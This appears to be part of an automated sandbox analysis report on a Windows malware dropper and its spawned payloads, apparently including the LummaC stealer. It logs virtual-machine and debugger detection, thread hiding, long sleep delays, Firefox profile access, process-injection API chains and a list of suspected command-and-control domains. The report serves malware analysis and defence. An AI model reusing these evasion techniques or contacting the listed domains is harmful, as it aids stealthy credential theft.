Source: C:\Users\user\AppData\Local\Temp\1018268001\66405b473b.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1018268001\66405b473b.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1018268001\66405b473b.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_0518018F rdtsc

0_2_0518018F

Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1275	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1324	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1215	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2936	Thread sleep time: -58029s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2200	Thread sleep count: 1275 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2200	Thread sleep time: -2551275s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5696	Thread sleep count: 331 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5696	Thread sleep time: -9930000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6108	Thread sleep count: 1324 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6108	Thread sleep time: -2649324s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1596	Thread sleep count: 1215 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1596	Thread sleep time: -2431215s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe TID: 7548	Thread sleep time: -120000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe TID: 7500	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe TID: 5316	Thread sleep time: -210000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018266001\7ba71287b7.exe TID: 7648	Thread sleep time: -34017s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1018266001\7ba71287b7.exe TID: 7528	Thread sleep time: -34017s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe TID: 4340	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe TID: 5952	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1018269001\386e7e479d.exe TID: 2504	Thread sleep time: -60000s >= -30000s

Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_BIOS

Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_ComputerSystem

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1018266001\7ba71287b7.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\file.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018266001\7ba71287b7.exe	File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe	Code function: 7_2_00AE36A9 FindFirstFileExW,		7_2_00AE36A9
Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe	Code function: 7_2_00AE375A FindFirstFileExW,FindNextFileW,FindClose,FindClose,		7_2_00AE375A

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\1018266001\7ba71287b7.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cache2\entries\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018266001\7ba71287b7.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018266001\7ba71287b7.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018266001\7ba71287b7.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cache2\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018266001\7ba71287b7.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018266001\7ba71287b7.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cache2\doomed\	Jump to behavior

Source: skotes.exe, skotes.exe, 00000006.00000002.2976429791.0000000000362000.00000040.00000001.01000000.00000008.sdmp, d6bf37692b.exe, 0000000A.00000002.2748363246.000000000100F000.00000040.00000001.01000000.0000000B.sdmp, 66405b473b.exe, 00000010.00000002.2859359716.0000000000912000.00000040.00000001.01000000.00000015.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: 9f58fa9406.exe, 0000000F.00000002.2766441206.00000000032D4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmware\V
Source: 386e7e479d.exe, 00000013.00000002.2976143571.0000000000CEC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWx
Source: file.exe, 00000000.00000003.1753018041.0000000001677000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: 9f58fa9406.exe, 0000000F.00000002.2766441206.00000000032D4000.00000004.00000800.00020000.00000000.sdmp, 9f58fa9406.exe, 0000000F.00000002.2766441206.0000000003061000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmGuestLib.dll
Source: skotes.exe, 00000006.00000002.2983011812.0000000000E29000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.2983011812.0000000000DF9000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.2983011812.0000000000E0E000.00000004.00000020.00020000.00000000.sdmp, 3a0398bc51.exe, 00000009.00000003.2671649158.000000000112C000.00000004.00000020.00020000.00000000.sdmp, 3a0398bc51.exe, 00000009.00000003.2671649158.0000000001159000.00000004.00000020.00020000.00000000.sdmp, 3a0398bc51.exe, 00000009.00000003.2568602128.000000000115B000.00000004.00000020.00020000.00000000.sdmp, 3a0398bc51.exe, 00000009.00000003.2590163861.000000000115B000.00000004.00000020.00020000.00000000.sdmp, 3a0398bc51.exe, 00000009.00000003.2672060197.000000000115B000.00000004.00000020.00020000.00000000.sdmp, 3a0398bc51.exe, 00000009.00000002.2672858117.000000000112D000.00000004.00000020.00020000.00000000.sdmp, 3a0398bc51.exe, 00000009.00000002.2672941652.000000000115C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: 9f58fa9406.exe, 0000000F.00000002.2766441206.00000000032D4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware\|VIRTUAL\|A M I\|Xen@\^q
Source: 9f58fa9406.exe, 0000000F.00000002.2766441206.00000000032D4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMWareLR^q
Source: 66405b473b.exe, 00000010.00000003.2817622374.00000000070C6000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: SYSINTERNALSNum_processorNum_ramnameallfreedriversNum_displaysresolution_xresolution_y\recent_filesprocessesuptime_minutesC:\Windows\System32\VBox.dll01vbox_firstSYSTEM\ControlSet001\Services\VBoxSFvbox_secondC:\USERS\PUBLIC\public_checkWINDBG.EXEdbgwireshark.exeprocmon.exex64dbg.exeida.exedbg_secdbg_thirdyadroinstalled_appsSOFTWARE\Microsoft\Windows\CurrentVersion\UninstallSOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall%d%s\%sDisplayNameapp_nameindexCreateToolhelp32Snapshot failed.
Source: 9f58fa9406.exe, 0000000F.00000002.2766441206.00000000032D4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: NACSV SPSWTKA1GM@\^q0VMware\|VIRTUAL\|A M I\|Xen
Source: 9f58fa9406.exe, 0000000F.00000002.2766441206.0000000003061000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Microsoft\|VMWare\|Virtual
Source: 386e7e479d.exe, 00000013.00000002.2976143571.0000000000D36000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWh
Source: 9f58fa9406.exe, 0000000F.00000002.2766441206.00000000032D4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $^q"C:\Windows\system32\vmGuestLib.dll
Source: 3a0398bc51.exe, 00000009.00000003.2671649158.0000000001159000.00000004.00000020.00020000.00000000.sdmp, 3a0398bc51.exe, 00000009.00000003.2568602128.000000000115B000.00000004.00000020.00020000.00000000.sdmp, 3a0398bc51.exe, 00000009.00000003.2590163861.000000000115B000.00000004.00000020.00020000.00000000.sdmp, 3a0398bc51.exe, 00000009.00000003.2672060197.000000000115B000.00000004.00000020.00020000.00000000.sdmp, 3a0398bc51.exe, 00000009.00000002.2672941652.000000000115C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWa
Source: 7ba71287b7.exe, 0000000C.00000003.2656482693.0000000001B33000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: 9f58fa9406.exe, 0000000F.00000002.2766441206.00000000032D4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $^q 1:en-CH:VMware\|VIRTUAL\|A M I\|Xen
Source: 9f58fa9406.exe, 0000000F.00000002.2766441206.00000000032D4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Microsoft\|VMWare\|Virtual@\^q
Source: 66405b473b.exe, 00000010.00000003.2817622374.00000000070C6000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: SYSTEM\ControlSet001\Services\VBoxSF
Source: 9f58fa9406.exe, 0000000F.00000002.2761941150.000000000124A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\C:\Windows\system32\vmGuestLib.dll
Source: 9f58fa9406.exe, 0000000F.00000002.2766441206.00000000032D4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmware
Source: 9f58fa9406.exe, 0000000F.00000002.2766441206.00000000032D4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: BCrRbzOm4KA3UDl KfY6zNr4@\^q0Microsoft\|VMWare\|Virtual
Source: 9f58fa9406.exe, 0000000F.00000002.2766441206.00000000032D4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMwareLR^q
Source: 9f58fa9406.exe, 0000000F.00000002.2766441206.00000000032D4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmGuestLib.dll@\^q
Source: 9f58fa9406.exe, 0000000F.00000002.2766441206.0000000003061000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware\|VIRTUAL\|A M I\|Xen
Source: 9f58fa9406.exe, 0000000F.00000002.2766441206.00000000032D4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $^q"C:\Windows\system32\vmGuestLib.dll@
Source: file.exe, 00000000.00000002.1779875095.0000000001082000.00000040.00000001.01000000.00000003.sdmp, skotes.exe, 00000001.00000002.1811661565.0000000000362000.00000040.00000001.01000000.00000008.sdmp, skotes.exe, 00000002.00000002.1813420934.0000000000362000.00000040.00000001.01000000.00000008.sdmp, skotes.exe, 00000006.00000002.2976429791.0000000000362000.00000040.00000001.01000000.00000008.sdmp, d6bf37692b.exe, 0000000A.00000002.2748363246.000000000100F000.00000040.00000001.01000000.0000000B.sdmp, 66405b473b.exe, 00000010.00000002.2859359716.0000000000912000.00000040.00000001.01000000.00000015.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: 9f58fa9406.exe, 0000000F.00000002.2766441206.00000000032D4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $^q 1:en-CH:Microsoft\|VMWare\|Virtual

Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe

API call chain: ExitProcess graph end node

graph_7-14955

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018266001\7ba71287b7.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1018268001\66405b473b.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1018268001\66405b473b.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1018268001\66405b473b.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1018268001\66405b473b.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1018268001\66405b473b.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1018268001\66405b473b.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1018268001\66405b473b.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1018268001\66405b473b.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1018268001\66405b473b.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1018268001\66405b473b.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1018268001\66405b473b.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1018268001\66405b473b.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018266001\7ba71287b7.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1018266001\7ba71287b7.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1018266001\7ba71287b7.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1018268001\66405b473b.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1018268001\66405b473b.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1018268001\66405b473b.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_0518018F rdtsc

0_2_0518018F

Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe

Code function: 7_2_00AD5020 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

7_2_00AD5020

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00ED652B mov eax, dword ptr fs:[00000030h]	0_2_00ED652B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EDA302 mov eax, dword ptr fs:[00000030h]	0_2_00EDA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_001BA302 mov eax, dword ptr fs:[00000030h]	1_2_001BA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_001B652B mov eax, dword ptr fs:[00000030h]	1_2_001B652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_001BA302 mov eax, dword ptr fs:[00000030h]	2_2_001BA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_001B652B mov eax, dword ptr fs:[00000030h]	2_2_001B652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_001BA302 mov eax, dword ptr fs:[00000030h]	6_2_001BA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_001B652B mov eax, dword ptr fs:[00000030h]	6_2_001B652B
Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe	Code function: 7_2_00AF519E mov edi, dword ptr fs:[00000030h]	7_2_00AF519E
Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe	Code function: 7_2_00AD1614 mov edi, dword ptr fs:[00000030h]	7_2_00AD1614

Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe

Code function: 7_2_00ADFE2C GetProcessHeap,

7_2_00ADFE2C

Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe

Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe	Code function: 7_2_00AD5020 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	7_2_00AD5020
Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe	Code function: 7_2_00AD5014 SetUnhandledExceptionFilter,	7_2_00AD5014
Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe	Code function: 7_2_00ADB4B9 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	7_2_00ADB4B9
Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe	Code function: 7_2_00AD4C64 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	7_2_00AD4C64

Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe

Memory allocated: page read and write | page guard

HIPS / PFW / Operating System Protection Evasion

Contains functionality to inject code into remote processes

Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe

Code function: 7_2_00AF519E GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateProcessW,CreateProcessW,VirtualAlloc,VirtualAlloc,GetThreadContext,Wow64GetThreadContext,ReadProcessMemory,ReadProcessMemory,VirtualAllocEx,VirtualAllocEx,GetProcAddress,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,SetThreadContext,Wow64SetThreadContext,ResumeThread,ResumeThread,

7_2_00AF519E

Injects a PE file into a foreign processes

Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe	Memory written: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Memory written: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Local\Temp\1018269001\386e7e479d.exe	Memory written: C:\Users\user\AppData\Local\Temp\1018269001\386e7e479d.exe base: 400000 value starts with: 4D5A

LummaC encrypted strings found

Source: 3a0398bc51.exe, 00000007.00000002.2428598258.00000000007D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: rapeflowwj.lat
Source: 3a0398bc51.exe, 00000007.00000002.2428598258.00000000007D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: crosshuaht.lat
Source: 3a0398bc51.exe, 00000007.00000002.2428598258.00000000007D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: sustainskelet.lat
Source: 3a0398bc51.exe, 00000007.00000002.2428598258.00000000007D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: aspecteirs.lat
Source: 3a0398bc51.exe, 00000007.00000002.2428598258.00000000007D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: energyaffai.lat
Source: 3a0398bc51.exe, 00000007.00000002.2428598258.00000000007D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: necklacebudi.lat
Source: 3a0398bc51.exe, 00000007.00000002.2428598258.00000000007D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: discokeyus.lat
Source: 3a0398bc51.exe, 00000007.00000002.2428598258.00000000007D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: grannyejh.lat
Source: 3a0398bc51.exe, 00000007.00000002.2428598258.00000000007D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: pancakedipyps.click
Source: d6bf37692b.exe, 0000000A.00000003.2497402834.0000000004F40000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: treehoneyi.click
Source: 386e7e479d.exe, 00000011.00000002.2911613519.00000000025EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: debonairnukk.xyz
Source: 386e7e479d.exe, 00000011.00000002.2911613519.00000000025EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: diffuculttan.xyz
Source: 386e7e479d.exe, 00000011.00000002.2911613519.00000000025EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: effecterectz.xyz
Source: 386e7e479d.exe, 00000011.00000002.2911613519.00000000025EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: deafeninggeh.biz
Source: 386e7e479d.exe, 00000011.00000002.2911613519.00000000025EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: immureprech.biz
Source: 386e7e479d.exe, 00000011.00000002.2911613519.00000000025EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: bellflamre.click

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe "C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe "C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018266001\7ba71287b7.exe "C:\Users\user\AppData\Local\Temp\1018266001\7ba71287b7.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe "C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018268001\66405b473b.exe "C:\Users\user\AppData\Local\Temp\1018268001\66405b473b.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018269001\386e7e479d.exe "C:\Users\user\AppData\Local\Temp\1018269001\386e7e479d.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018270001\400f5197b1.exe "C:\Users\user\AppData\Local\Temp\1018270001\400f5197b1.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe	Process created: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe "C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Process created: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe "C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe"
Source: C:\Users\user\AppData\Local\Temp\1018269001\386e7e479d.exe	Process created: C:\Users\user\AppData\Local\Temp\1018269001\386e7e479d.exe "C:\Users\user\AppData\Local\Temp\1018269001\386e7e479d.exe"

Source: 66405b473b.exe, 00000010.00000002.2859359716.0000000000912000.00000040.00000001.01000000.00000015.sdmp	Binary or memory string: Program Manager
Source: skotes.exe, skotes.exe, 00000006.00000002.2977824513.00000000003AB000.00000040.00000001.01000000.00000008.sdmp	Binary or memory string: <Program Manager
Source: d6bf37692b.exe, 0000000A.00000002.2748363246.000000000100F000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: jLProgram Manager

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 6_2_0019DD91 cpuid

6_2_0019DD91

Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe	Code function: EnumSystemLocalesW,	7_2_00AE3086
Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe	Code function: GetLocaleInfoW,	7_2_00AE30D1
Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	7_2_00AE3178
Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe	Code function: GetLocaleInfoW,	7_2_00ADF21C
